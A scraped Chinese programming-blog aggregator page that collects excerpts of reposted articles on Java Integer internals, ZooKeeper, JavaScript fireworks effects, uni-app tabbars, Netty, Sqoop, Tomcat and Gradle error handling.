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...合常理。这个可以通过源码来解释。以Integer它在内部预先定义了一小段Integer对象(见IntegerCache的实现,high的范围还可以通过系统参数java.lang.Integer.IntegerCache.high设置),并在valueOf调用时判断是否落在这个范围,如果范围合适,返回现成的对象。由于Integer是不变对象,所以它的复用是没有任何隐患的。 public static Integer valueOf(int i) { if(i >= -128 && i <= IntegerCache.high) return IntegerCache.cache[i + 128]; else return new Integer(i); } 话虽如此,但这只是一个优化手段,平时是不应该使用==来进行判断对象是否相等的。 Integer和字符串的相互转换 整型和字符串的相互转换也是常用的功能。看一下Integer转换成字符串的源码。 public static String toString(int i, int radix) { if (radix < Character.MIN_RADIX || radix > Character.MAX_RADIX) radix = 10; / Use the faster version / if (radix == 10) { return toString(i); } char buf[] = new char[33]; boolean negative = (i < 0); int charPos = 32; if (!negative) { i = -i; } while (i <= -radix) { buf[charPos--] = digits[-(i % radix)]; i = i / radix; } buf[charPos] = digits[-i]; if (negative) { buf[--charPos] = '-'; } return new String(buf, charPos, (33 - charPos)); } 算法还是比较简单的,就是根据基数radix不断对这个整数取余数,根据余数找到从digits数组中找到对应字符。这里需要注意的是, 为什么正数要取反使用负数而不是反过来呢,用正数不是更好处理么?其实,这涉及到是否溢出的问题,对于最小的整数integer,取反就会出现移除,还是一个负数,这样就有问题了。 还有一个功能是把整数换成16进制(toHexString)、8进制(toOctalString)或2进制的字符串(toBinaryString),它最终是调用toUnsignedString实现的。 / Convert the integer to an unsigned number. / private static String toUnsignedString(int i, int shift) { char[] buf = new char[32]; int charPos = 32; int radix = 1 << shift; int mask = radix - 1; do { buf[--charPos] = digits[i & mask]; i >>>= shift; } while (i != 0); return new String(buf, charPos, (32 - charPos)); } 以16进制为例子,shift就是4,得到的mark就是1111,i和mask做与运算后就可以得到在16进制中字符数组的位置,从而得到这4位对应的16进制字符,最后通过右移就抹掉这低4位。 Integer类中有许多方法是和位操作相关的。待后续详解。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_33130645/article/details/114425171。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-20 21:27:37
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HBase
...是一个分布式的,开放源码的分布式应用程序协调服务,它为大型分布式系统提供了诸如统一命名服务、状态同步服务、集群管理等多种功能。在HBase中,Zookeeper扮演着至关重要的角色,用于维护集群元数据信息以及协助进行RegionServer的负载均衡控制。
2023-03-02 15:10:56
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灵动之光
Kylin
...ache Kylin源码及社区讨论,借鉴和采纳已经验证过的内存优化方案。 总之,解决Kylin在构建Cube时的内存溢出问题是一个涉及多方面因素的综合性任务,需要紧跟技术发展趋势,适时更新软件版本,并结合实际业务场景进行针对性优化,才能确保大数据分析系统的稳定高效运行。
2023-02-19 17:47:55
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海阔天空-t
ZooKeeper
...了一个分布式的、开放源码的分布式应用程序协调服务,能够帮助开发人员解决分布式环境下的数据管理问题,如数据发布/订阅、命名服务、集群管理、分布式锁等。 2. 数据发布与订阅的挑战 在分布式环境中,数据发布与订阅面临的主要挑战是如何实时、高效、一致地将数据变更通知给所有订阅者。传统的解决方案可能会遭遇网络延迟、数据不一致等问题。而ZooKeeper借助其特有的数据模型(ZNode树)和Watcher机制,有效地解决了这些问题。 3. ZooKeeper在数据发布与订阅中的工作原理 3.1 ZNode和Watcher机制 ZooKeeper的数据模型采用的是类似于文件系统的树形结构——ZNode树。每个ZNode节点可以存储数据,并且可以注册Watcher监听器。当ZNode的数据有啥变动的时候,ZooKeeper这个小机灵鬼就会立马蹦跶起来,触发相应的Watcher事件,这样一来,咱们就能实时掌握到数据的最新动态啦。 3.2 数据发布流程 在数据发布过程中,发布者会在ZooKeeper上创建或更新特定的ZNode节点,节点的内容即为要发布的数据: java ZooKeeper zk = new ZooKeeper("localhost:2181", 5000, new Watcher() {...}); String data = "This is the published data"; zk.create("/publishPath", data.getBytes(), ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT); 3.3 数据订阅流程 订阅者则会在感兴趣的ZNode上设置Watcher监听器,一旦该节点的数据发生变化,订阅者就会收到通知并获取最新数据: java // 订阅者注册Watcher监听器 Stat stat = new Stat(); byte[] data = zk.getData("/publishPath", new Watcher() { @Override public void process(WatchedEvent event) { if (event.getType() == Event.EventType.NodeDataChanged) { // 当数据变化时,重新获取最新数据 byte[] newData = zk.getData("/publishPath", true, stat); System.out.println("Received new data: " + new String(newData)); } } }, stat); // 初始获取一次数据 System.out.println("Initial data: " + new String(data)); 4. 探讨与思考 ZooKeeper在数据发布与订阅中的应用,体现了其作为分布式协调服务的核心价值。它灵巧地借助了数据节点的变更事件触发机制,这样一来,发布数据的人就不用操心那些具体的订阅者都有谁,只需要在ZooKeeper上对数据节点进行操作,就能轻轻松松完成数据的发布。另一方面,订阅数据的朋友也不必像以前那样傻傻地不断轮询查看更新,他们可以聪明地“坐等”ZooKeeper发出的通知——Watcher事件,一旦这个事件触发,他们就能立刻获取到最新鲜、热乎的数据啦! 然而,这并不意味着ZooKeeper在数据发布订阅中是万能的。在面对大量用户同时在线这种热闹非凡的场景时,ZooKeeper这家伙有个小毛病,就是单个Watcher只能蹦跶一次,通知完就歇菜了。所以呢,为了让每一个关心消息更新的订阅者都不错过任何新鲜事儿,我们不得不绞尽脑汁设计一套更巧妙、更复杂的提醒机制。不管怎样,ZooKeeper可真是个大救星,实实在在地帮我们在复杂的分布式环境下搞定了数据同步这个难题,而且还带给我们不少灵活巧妙的解决思路。 总结来说,ZooKeeper在数据发布与订阅领域的应用,就像是一位经验丰富的乐队指挥,精确而有序地指引着每一位乐手,在分布式系统的交响乐章中奏出和谐的旋律。
2023-07-04 14:25:57
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寂静森林
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...代码 JS代码 四、源码获取 在线下载 制作炫酷烟花特效 💡本篇内容使用html+css+js制作鼠标点击出现烟花效果,分别介绍了分散型烟花,圆形烟花和爱心形烟花,爱心形烟花算法比较复杂,需要源码的小伙伴可以通过文章末尾链接下载。 一、普通烟花(分散形) 效果展示 HTML代码 引入js 文件 <script type="text/javascript" src="buffermove1.js"></script> CSS代码 创建一个黑色背景 <style type="text/css">{padding: 0px;margin: 0px;}body{background: 000;width: 100%;height:100%;overflow: hidden;}</style> JS代码 <script type="text/javascript">//this绑定的属性可以在整个构造函数内部都可以使用,而变量只能在函数内部使用。function Fireworks(x,y){//x,y鼠标的位置this.x=x;this.y=y;var that=this;//1.创建烟花。this.ceratefirework=function(){this.firework=document.createElement('div');//整个构造函数内部都可以使用this.firework.style.cssText=width:5px;height:5px;background:fff;position:absolute;left:${this.x}px;top:${document.documentElement.clientHeight}px;;document.body.appendChild(this.firework);this.fireworkmove();};//2.烟花运动和消失this.fireworkmove=function(){buffermove(this.firework,{top:this.y},function(){document.body.removeChild(that.firework);//烟花消失,碎片产生that.fireworkfragment();});};//3.创建烟花的碎片this.fireworkfragment=function(){for(var i=0;i<this.ranNum(30,60);i++){this.fragment=document.createElement('div');this.fragment.style.cssText=width:5px;height:5px;background:rgb(${this.ranNum(0,255)},${this.ranNum(0,255)},${this.ranNum(0,255)});position:absolute;left:${this.x}px;top:${this.y}px;;document.body.appendChild(this.fragment);this.fireworkboom(this.fragment);//将当前创建的碎片传过去,方便运动和删除} }//4.碎片运动this.fireworkboom=function(obj){//obj:创建的碎片//设点速度(值不同,正负符号不同)var speedx=parseInt((Math.random()>0.5?'-':'')+this.ranNum(1,15));var speedy=parseInt((Math.random()>0.5?'-':'')+this.ranNum(1,15));//初始速度var initx=this.x;var inity=this.y;obj.timer=setInterval(function(){//一个盒子运动initx+=speedx;inity+=speedy;if(inity>=document.documentElement.clientHeight){clearInterval(obj.timer);document.body.removeChild(obj);}obj.style.left=initx+'px';obj.style.top=inity+'px';},20);}//随机方法this.ranNum=function (min,max){return Math.round(Math.random()(max-min))+min;};}document.onclick=function(ev){var ev=ev||window.event;new Fireworks(ev.clientX,ev.clientY).ceratefirework();}</script> 二、圆形烟花 效果展示 HTML代码 引入js 文件 <script type="text/javascript" src="buffermove1.js"></script> CSS代码 创建一个黑色背景 <style type="text/css">{padding: 0px;margin: 0px;}body{background: 000;width: 100%;height:100%;overflow: hidden;}</style> JS代码 <script type="text/javascript">//this绑定的属性可以在整个构造函数内部都可以使用,而变量只能在函数内部使用。function Fireworks(x,y){//x,y鼠标的位置this.x=x;this.y=y;var that=this;//1.创建烟花。this.ceratefirework=function(){this.firework=document.createElement('div');//整个构造函数内部都可以使用this.firework.style.cssText=width:5px;height:5px;background:fff;position:absolute;left:${this.x}px;top:${document.documentElement.clientHeight}px;;document.body.appendChild(this.firework);this.fireworkmove();};//2.烟花运动和消失this.fireworkmove=function(){var that=this;buffermove(this.firework,{top:this.y},function(){document.body.removeChild(that.firework);//烟花消失,碎片产生that.fireworkfragment();});};//3.创建烟花的碎片this.fireworkfragment=function(){var num=this.ranNum(30,60);//盒子的个数this.perRadio=2Math.PI/num;//弧度for(var i=0;i<num;i++){this.fragment=document.createElement('div');this.fragment.style.cssText=width:5px;height:5px;background:rgb(${this.ranNum(0,255)},${this.ranNum(0,255)},${this.ranNum(0,255)});position:absolute;left:${this.x}px;top:${this.y}px;;document.body.appendChild(this.fragment);this.fireworkboom(this.fragment,i);//将当前创建的碎片传过去,方便运动和删除} }//4.碎片运动this.fireworkboom=function(obj,i){//obj:创建的碎片var r=10;obj.timer=setInterval(function(){//一个盒子运动r+=4;if(r>=200){clearInterval(obj.timer);document.body.removeChild(obj);}obj.style.left=that.x+Math.sin(that.perRadioi)r+'px';obj.style.top=that.y+Math.cos(that.perRadioi)r+'px';},20);}//随机方法this.ranNum=function (min,max){return Math.round(Math.random()(max-min))+min;};}document.onclick=function(ev){var ev=ev||window.event;new Fireworks(ev.clientX,ev.clientY).ceratefirework();}</script> 三、爱心形烟花 效果展示 HTML代码 引入js 文件 <script type="text/javascript" src="buffermove1.js"></script> CSS代码 创建一个黑色背景 <style type="text/css">{padding: 0px;margin: 0px;}body{background: 000;width: 100%;height:100%;overflow: hidden;}</style> JS代码 <script type="text/javascript">//this绑定的属性可以在整个构造函数内部都可以使用,而变量只能在函数内部使用。function Fireworks(x,y){//x,y鼠标的位置this.x=x;this.y=y;var that=this;//1.创建烟花。this.ceratefirework=function(){this.firework=document.createElement('div');//整个构造函数内部都可以使用this.firework.style.cssText=width:5px;height:5px;background:fff;position:absolute;left:${this.x}px;top:${document.documentElement.clientHeight}px;;document.body.appendChild(this.firework);this.fireworkmove();};//2.烟花运动和消失this.fireworkmove=function(){buffermove(this.firework,{top:this.y},function(){document.body.removeChild(that.firework);//烟花消失,碎片产生that.fireworkfragment();});};//3.创建烟花的碎片this.fireworkfragment=function(){var num=this.ranNum(30,60);//盒子的个数this.perRadio=2Math.PI/num;//弧度for(var i=0;i<num;i++){this.fragment=document.createElement('div');this.fragment.style.cssText=width:5px;height:5px;background:rgb(${this.ranNum(0,255)},${this.ranNum(0,255)},${this.ranNum(0,255)});position:absolute;left:${this.x}px;top:${this.y}px;;document.body.appendChild(this.fragment);this.fireworkboom(this.fragment,i);//将当前创建的碎片传过去,方便运动和删除} }//x=16Math.pow(sint,3); //Math.sin(perRadioi)//y=13Cost-5Cos2t-2Cos3t-Cos4t//4.碎片运动this.fireworkboom=function(obj,i){//obj:创建的碎片var r=0.1;obj.timer=setInterval(function(){//一个盒子运动r+=0.4;if(r>=10){clearInterval(obj.timer);document.body.removeChild(obj);}obj.style.left=that.x+16Math.pow(Math.sin(that.perRadioi),3)r+'px';obj.style.top=that.y-(13Math.cos(that.perRadioi)-5Math.cos(2that.perRadioi)-2Math.cos(3that.perRadioi)-Math.cos(4that.perRadioi))r+'px';},20);}//随机方法this.ranNum=function (min,max){return Math.round(Math.random()(max-min))+min;};}document.onclick=function(ev){var ev=ev||window.event;new Fireworks(ev.clientX,ev.clientY).ceratefirework();}</script> 四、源码获取 在线下载 资源链接:https://gitee.com/huang_weifu/JavaScript_demo.git 本篇文章为转载内容。原文链接:https://blog.csdn.net/huangwfu/article/details/128754023。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-15 08:02:38
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... 需求背景 1.1 源码下载 2. 问题前提及思路 3. 开始撸 3.1 设置 tabbar.js 配置不同角色不同的菜单 3.2 设置 page.json 3.3 vue 配置 3.4 tabBar组件代码 3.5 setRole方法 1. 需求背景 公司要求开发一个小程序,要求二种不同权限的人群都可以使用,使用时根据不同的权限,获取不同的tabbar,以及展示对应不同的内容。 登录页面分为 用户登录 及 管理员登录 1.2 用户登录和管理员登录的 tabbar 根据账号角色进行对应展示 1.1 源码下载 【源码】uni-app 微信小程序根据角色动态的更改底部tabbar 2. 问题前提及思路 uniapp 本身的动态设置tabbar方法 uni.setTabBarItem(OBJECT),但是使用这个方法刷新切换时会短暂白屏以及uni.setTabBarItem只能满足动态设置tabbar一项的内容,无法实现多项的需求。所有综合考虑决定还是使用uview-ui的Tabbar底部导航栏组件。 最终选择了uni-app的uview-ui(UI框架)+ vuex来完成这个功能。其中,vuex主要是用来存储当前的tabbar内容的。 3. 开始撸 3.1 设置 tabbar.js 配置不同角色不同的菜单 在utils文件夹下新建一个tabbar.js,来存储不同权限下的底部导航数据。我这里有两种不同的权限,第二种权限比第一种权限多了两项菜单。 // 普通用户tabbarlet tab1 = [{"pagePath": "/pages/loginLogRecord/index","text": "登录记录","iconPath": "/static/icon_bx.png","selectedIconPath": "/static/icon_bx_hover.png"},{"pagePath": "/pages/accessRecord/index","text": "存取记录","iconPath": "/static/icon_adress.png","selectedIconPath": "/static/icon_adress_hover.png"},{"pagePath": "/pages/person/index","text": "我的","iconPath": "/static/icon_user.png","selectedIconPath": "/static/icon_user_hover.png"}]// 管理员用户tabbarlet tab2 = [{"pagePath": "/pages/loginLogRecord/index","text": "登录记录","iconPath": "/static/icon_bx.png","selectedIconPath": "/static/icon_bx_hover.png"},{"pagePath": "/pages/accessRecord/index","text": "存取记录","iconPath": "/static/icon_adress.png","selectedIconPath": "/static/icon_adress_hover.png"},{"pagePath": "/pages/authorizationList/index","text": "授权名单","iconPath": "/static/authorization.png","selectedIconPath": "/static/authorization_hover.png"},{"pagePath": "/pages/inventory/index","text": "盘点","iconPath": "/static/inventory.png","selectedIconPath": "/static/inventory_hover.png"},{"pagePath": "/pages/person/index","text": "我的","iconPath": "/static/icon_user.png","selectedIconPath": "/static/icon_user_hover.png"}]export default [tab1,tab2] 3.2 设置 page.json 在page.json文件里,把tabbar里的几个页面去重放进去。只是单纯的写个路径,什么都不要添加。test,iconPath,selectedIconPath 字段全部删掉这里不需要配置。 "tabBar": {"color": "333333","selectedColor": "328CFA","backgroundColor": "FFFFFF","list": [{"pagePath": "pages/loginLogRecord/index"},{"pagePath": "pages/accessRecord/index"},{"pagePath": "pages/authorizationList/index"},{"pagePath": "pages/inventory/index"},{"pagePath": "pages/person/index"}]} 3.3 vue 配置 uniapp是可以直接使用vuex的,所以,直接在项目的根目录下新建一个store文件夹,存储相关数据。 import Vue from 'vue'import Vuex from 'vuex'Vue.use(Vuex)import tabBar from '@/utils/tabbar.js'const store = new Vuex.Store({state: {wx_token: '',tabBarList: [],roleId: 0, //0 普通员工,1管理员},mutations: {// 设置wx_tokensetWxtoken(state, data) {state.wx_token = data;uni.setStorageSync('wx_token',data)},// 设置用户角色IDsetRoleId(state, data) {state.roleId = data;uni.setStorageSync('roleId',data)state.tabBarList = tabBar[data];uni.setStorageSync('tabBarList',tabBar[data])},},})export default store 在入口文件 main.js 中使用 import Vue from 'vue'import App from './App'import uView from "uview-ui";import store from './store/index'Vue.use(uView);Vue.config.productionTip = falseVue.prototype.$store = storeApp.mpType = 'app'const app = new Vue({...App,store})app.$mount() 3.4 tabBar组件代码 <template><view><u-tabbar :list="tabBarList" :active-color="activeColor" :inactive-color="inactiveColor" :height="84":border-top="borderTop"></u-tabbar></view></template><script>import store from '@/store'export default {props:{tabBarList:{type:Array,default:uni.getStorageSync('tabBarList')} },data() {return {borderTop: true,inactiveColor: '909399',activeColor: '328CFA',} },}</script> 3.5 setRole方法 登录时,获取返回的权限,然后再调用setRole方法 <script>import { mapMutations } from 'vuex';export default {data() {return {roleId:0,};},methods: {methods: {...mapMutations(['setRoleId']),},//登录login() {this.setRoleId(this.roleId)// 0或者1uni.switchTab({url: '../index/index' //然后跳转到登录后的首页})} }}</script> 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_36410795/article/details/109075488。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-06 15:14:00
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Scala
...方文档和其他开源项目源码,如Apache Flink或Kafka Streams,也能帮助开发者深入了解并行计算的实际应用场景和最佳实践。 实时动态方面,Scala 3(Dotty)项目的演进带来了更多关于并发和并行特性的改进,旨在简化并提升程序性能。与此同时,学术界和工业界也在不断探讨新的并发算法和数据结构,以应对日益复杂的并行计算挑战,这些研究成果对于掌握Scala并发集合的使用者来说具有很高的参考价值。
2023-03-07 16:57:49
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落叶归根
MyBatis
...va 对象的值写入预编译语句,类型处理器就会发挥作用。在本文的具体应用场景中,自定义类型处理器 UserToJsonTypeHandler 就是用来处理 User 实体类与 JSON 字符串之间的相互转换。 JSON , JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,采用完全独立于语言的文本格式来存储和表示数据。易于人阅读和编写,同时也易于机器解析和生成。在前后端分离的现代Web应用开发中,JSON常被用来作为API接口的数据传输格式。在本文中,我们讨论了如何借助第三方库如Jackson或Gson,以及MyBatis的自定义类型处理器实现Java实体类与JSON之间的灵活高效转换。
2024-02-19 11:00:31
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海阔天空-t
Scala
...la等其他语言也可以编译成字节码并在JVM上运行。JVM为各种编程语言提供了统一的运行环境,支持内存管理、垃圾回收等功能,极大地提高了开发效率和程序稳定性。 Akka , 一个用于构建高度并发、分布式和容错系统的工具包和运行时环境。Akka基于Actor模型,这是一种轻量级并发模型,通过消息传递来实现组件间的通信。Akka框架允许开发者以声明式方式编写应用程序,简化了并发编程的复杂性,并提高了程序的可伸缩性和可靠性。
2024-11-25 16:06:22
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月下独酌
Spark
...导致整个应用无法正常编译或运行。 NoClassDefFoundError , 在Java或Scala等基于JVM的语言环境中,NoClassDefFoundError是一个运行时错误,表示在执行期尝试加载一个类时找不到对应的类定义。在Spark应用中,如果缺少必要的第三方库(如MySQL JDBC驱动),则可能导致此类错误的发生,因为Spark无法找到所需的类进行实例化或调用方法。
2023-04-22 20:19:25
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灵动之光
Netty
...Netty中对JIT编译的优化? 1. Netty与JIT编译器 一个不解之缘 大家好,今天我们要聊聊的是Netty框架中对JIT(Just-In-Time)编译器的一些优化策略。作为一名在Java圈子里混得挺溜的程序员,我可是深深体会到JIT编译器对咱们程序速度有多重要。它能将字节码动态地编译成机器码,从而大大提升执行效率。而Netty作为一个高性能的网络应用框架,自然也离不开JIT编译器的帮助。 思考过程: - 我们都知道,JIT编译器能够根据运行时的数据类型信息和执行模式进行优化。那么,Netty是如何利用这些特性来提高性能的呢? - 想象一下,在处理大量并发连接时,我们如何让每一行代码都尽可能高效?这不仅涉及到硬件层面的优化,更离不开软件层面的策略。 2. Netty中的ChannelPipeline:优化的起点 让我们先从Netty的核心组件之一——ChannelPipeline开始讲起。ChannelPipeline就像是一个传送带,专门用来处理进入和离开的各种事件。每个处理器(ChannelHandler)就像传送带上的一环,共同完成整个流程。当数据流经管道时,每个处理器都可以对其进行修改或过滤。 java public class MyHandler extends ChannelInboundHandlerAdapter { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { // 处理接收到的消息 System.out.println("Received message: " + msg); // 将消息传递给下一个处理器 ctx.fireChannelRead(msg); } } 理解过程: - MyHandler 是一个简单的处理器,它接收消息并打印出来,然后调用 ctx.fireChannelRead(msg) 将消息传递给管道中的下一个处理器。 - JIT编译器可以针对这种频繁调用的方法进行优化,通过预测调用路径减少分支预测错误,进而提升整体性能。 3. ByteBuf 内存管理的艺术 接下来,我们来看看ByteBuf,这是Netty用来替代传统的byte[]数组的一个高性能类。ByteBuf提供了自动内存管理和池化功能,能够显著减少垃圾回收的压力。 java ByteBuf buffer = Unpooled.buffer(16); buffer.writeBytes(new byte[]{1, 2, 3, 4}); System.out.println(buffer.readByte()); buffer.release(); 探讨性话术: - 在这个例子中,我们创建了一个容量为16字节的缓冲区,并写入了一些字节。之后读取第一个字节并释放缓冲区。这里的关键在于JIT编译器如何识别和优化这些内存操作。 - 比如,JIT可能会预热并缓存一些常见的方法调用路径,如writeBytes() 和 readByte(),从而在实际运行时提供更快的访问速度。 4. 内联与逃逸分析 JIT优化的利器 说到JIT编译器的优化策略,不得不提的就是内联和逃逸分析。内联就像是把函数的小身段直接塞进调用的地方,这样就省去了函数调用时的那些繁文缛节;而逃逸分析呢,就像是个聪明的侦探,帮JIT(即时编译器)搞清楚对象到底能不能在栈上安家,这样就能避免在堆上分配对象时产生的额外花销。 java public int sum(int a, int b) { return a + b; } // 调用sum方法 int result = sum(10, 20); 思考过程: - 这段代码展示了简单的内联优化。比如说,如果那个sum()方法老是被反复调用,聪明的JIT编译器可能就会直接把它变成简单的加法运算,这样就省去了每次调用函数时的那些麻烦和开销。 - 同样,如果JIT发现某个对象只在方法内部使用且不逃逸到外部,它可能决定将该对象分配到栈上,这样就无需进行垃圾回收。 5. 结语 拥抱优化,追求极致 总之,Netty框架通过精心设计和利用JIT编译器的各种优化策略,实现了卓越的性能表现。作为开发者,咱们得好好搞懂这些机制,然后在自己的项目里巧妙地用上。说真的,性能优化就像一场永无止境的马拉松,每次哪怕只有一点点进步,也都值得我们去琢磨和尝试。 希望这篇文章能给你带来一些启发,让我们一起在编程的道路上不断前行吧! --- 以上就是我对Netty中JIT编译优化的理解和探讨。如果你有任何问题或者想法,欢迎随时留言交流!
2025-01-21 16:24:42
55
风中飘零_
Redis
...业来说,《Redis源码分析:连接池与内存管理策略》一文提供了从底层原理出发,解读Redis如何高效利用文件描述符、内存等系统资源,并给出了针对特定业务场景定制化调整连接池大小和内存分配策略的实战建议。 综上所述,随着技术的不断演进,理解和掌握Redis连接管理的最新趋势和技术细节,结合实际业务需求进行精细化调优,将有助于我们在保障Redis服务稳定性和高性能的同时,充分挖掘其潜能,助力企业应用高效运行。
2024-02-01 11:01:33
301
彩虹之上_t
Tomcat
...或冲突。 3. 查看源码分析 深入阅读Tomcat的WebappClassLoader源码,了解其加载过程,看看是否在某个阶段出了问题。你知道吗,"findClassInternal"这个小家伙就像是个游戏中的开关,要是你忘记给它输入班级名称,小心,空指针这个调皮鬼就可能跑出来捣蛋了! 五、实例分析 假设我们在一个Spring Boot项目中,尝试访问一个不存在的Controller: java @Controller public class NonExistentController { @GetMapping("/test") public String test() { return "Hello, World!"; } } 启动Tomcat后,由于NonExistentController未被正确加载,ContextLoaderListener会抛出空指针异常。这时,我们需要检查WebappClassLoader是否能够正确找到并加载这个类。 六、解决方案与优化 1. 修复代码错误 在上述例子中,只需将NonExistentController加入到项目中,或者确保类名拼写正确。 2. 配置元数据 在Spring Boot中,可以使用@ComponentScan注解来指定要扫描的包,确保所有控制器都被正确加载。 java @SpringBootApplication @ComponentScan("com.example.demo.controllers") // 替换为你的实际包名 public class Application { public static void main(String[] args) { SpringApplication.run(Application.class, args); } } 3. 使用代理模式 如果类加载器问题由第三方库引起,考虑使用代理模式(如Spring AOP)来替换有问题的部分,避免直接依赖于类加载器。 七、结论 解决Tomcat启动时的空指针异常涉及对类加载机制的深入理解。咱们得像侦探一样,一点一滴地排查那些藏在代码深处的类路径和加载顺序,找出那个捣蛋的源头,然后对症下药,修复它!你知道吗,面对这种难题,关键是要有点儿耐性和眼尖,因为答案常常藏在那些你可能轻易忽略的小角落里,就像寻宝一样,得仔仔细细地挖掘。
2024-04-09 11:00:45
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心灵驿站
Sqoop
...qoop的版本号以及编译时间和编译者信息,帮助我们了解Sqoop的具体情况。 2.2 通过Java类路径查看版本 此外,如果你已经配置了Sqoop环境变量,并且希望在不执行sqoop命令的情况下查看版本,可以通过Java命令调用Sqoop的相关类来实现: shell $ java org.apache.sqoop.Sqoop -version 运行此命令同样可以显示Sqoop的版本信息,原理是加载并初始化Sqoop主类,然后触发Sqoop内部对版本信息的输出。 3. 探讨 为何需要频繁检查版本信息? 在实际项目开发和运维过程中,不同版本的Sqoop可能存在差异化的功能和已知问题。例如,某个特定的Sqoop版本可能只支持特定版本的Hadoop或数据库驱动。当我们在进行数据迁移这个活儿时,如果遇到了点儿小状况,首先去瞅瞅 Sqoop 的版本号是个挺管用的小窍门。为啥呢?因为这能帮我们迅速锁定问题是不是版本之间的不兼容在搞鬼。同时呢,别忘了及时给Sqoop更新换代,这样一来,咱们就能更好地享受新版本带来的各种性能提升和功能增强的好处,让 Sqoop 更给力地为我们服务。 4. 结语 通过以上两种方法,我们不仅能够方便快捷地获取Sqoop的版本信息,更能理解为何这一看似简单的操作对于日常的大数据处理工作如此关键。无论是你刚踏入大数据这片广阔天地的小白,还是已经在数据江湖摸爬滚打多年的老司机,都得养成一个日常小习惯,那就是时刻留意并亲自确认你手头工具的版本信息,可别忽视了这个细节。毕竟,在这个日新月异的技术世界里,紧跟潮流,方能游刃有余。 下次当你准备开展一项新的数据迁移任务时,别忘了先打个招呼:“嗨,Sqoop,你现在是什么版本呢?”这样,你在驾驭它的道路上,就会多一份从容与自信。
2023-06-29 20:15:34
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星河万里
ZooKeeper
...是一种分布式的、开放源码的分布式应用程序协调服务,由Apache软件基金会开发,主要用于解决分布式环境中数据的一致性问题。在本文语境中,ZooKeeper被用于实现大规模分布式系统的任务调度功能,通过其强一致性的数据管理能力和灵活的监听机制,保证了任务在集群中的高效分配与执行。 ZAB协议(ZooKeeper Atomic Broadcast) , ZAB协议是ZooKeeper实现分布式系统一致性的重要基石,它确保了ZooKeeper集群中所有服务器之间的数据更新操作以原子方式广播,并最终达到全局数据一致的状态。在任务调度场景下,这意味着无论客户端连接到哪个ZooKeeper服务器,都能获取到最新且一致的任务信息。 Watcher监听器 , Watcher是ZooKeeper提供的一种事件通知机制,允许客户端在指定的ZNode节点上注册监听器。当该节点的数据发生变化或者子节点列表发生改变时,ZooKeeper会触发相应的事件并通知所有关注该节点的客户端。在分布式任务调度系统中,任务调度器通过在任务队列节点上设置Watcher监听器来实时感知新任务的加入或已有任务的完成状态,从而及时进行任务的分配和执行。
2023-04-06 14:06:25
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星辰大海
DorisDB
...信息。同时,自行研究源码也是一个很好的学习和解决问题的方式。 5. 结语 面对DorisDB启动失败或崩溃这样的挑战,最重要的是保持冷静与耐心,遵循科学的排查思路,结合实际场景逐一检验。瞧,阅读和理解日志信息就像侦探破案一样重要,通过它,你可以找到问题的关键线索。然后,像调音师调整乐器那样精细地去调节配置参数,确保一切运行流畅。如果需要的话,你甚至可以像个技术大牛那样深入源代码的世界,揪出那个捣蛋的小bug。相信我,按照这个步骤来,你绝对能把这个问题给妥妥地搞定!记住,每一次的故障排除都是技术能力提升的过程,让我们一起在DorisDB的世界里不断探索,勇攀高峰! 以上所述仅为常见问题及其解决方案的概述,实际情况可能更为复杂多变。因此,建议各位在日常运维中养成良好的维护习惯,定期备份数据、监控系统状态,确保DorisDB稳定、高效地运行。
2023-10-20 16:26:47
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星辰大海
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...整的插件系统涵盖了从源码到生产的每个生命周期,开发者可以根据需求定制和安装各种插件,比如自动处理 loading 状态、支持 PWA、路由级按需加载等。 路由级按需加载 , 路由级按需加载是现代前端框架的一项性能优化技术,它允许应用程序仅在用户访问特定路由时动态加载对应的组件和资源。umijs 支持这种高级路由功能,意味着只有当用户导航到特定页面时,才会加载该页面所需的代码,有效减少了首屏加载时间和总体资源体积,提升了用户体验和应用性能。
2023-11-06 14:19:32
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Gradle
...败、资源文件找不到、编译错误等。这些异常情况,如果我们没做妥善处理的话,Gradle这家伙通常会耍小脾气,直接撂挑子不干了,还把一串长长的堆栈跟踪信息给打印出来,这搁谁看了都可能会觉得有点闹心。所以呢,我们得在插件里头自己整一套错误处理机制,就是逮住特定的异常情况,给它掰扯清楚,然后估摸着是不是该继续下一步的操作。 3. 实现自定义错误处理逻辑 下面我们将通过一段示例代码来演示如何在Gradle插件中实现自定义错误处理: groovy class CustomPlugin implements Plugin { @Override void apply(Project project) { // 定义一个自定义任务 project.task('customTask') { doLast { try { // 模拟可能发生异常的操作 def resource = new URL("http://nonexistent-resource.com").openStream() // ...其他操作... } catch (IOException e) { // 自定义错误处理逻辑 println "发生了一个预料之外的问题: ${e.message}" // 可选择记录错误日志、发送通知或者根据条件决定是否继续执行 if (project.hasProperty('continueOnError')) { println "由于设置了'continueOnError'属性,我们将继续执行剩余任务..." } else { throw new GradleException("无法完成任务,因为遇到IO异常", e) } } } } } } 上述代码中,我们在自定义的任务customTask的doLast闭包内尝试执行可能抛出IOException的操作。当捕获到异常时,我们先输出一条易于理解的错误信息,然后检查项目是否有continueOnError属性设置。如果有,就打印一条提示并继续执行;否则,我们会抛出一个GradleException,这会导致构建停止并显示我们提供的错误消息。 4. 进一步探索与思考 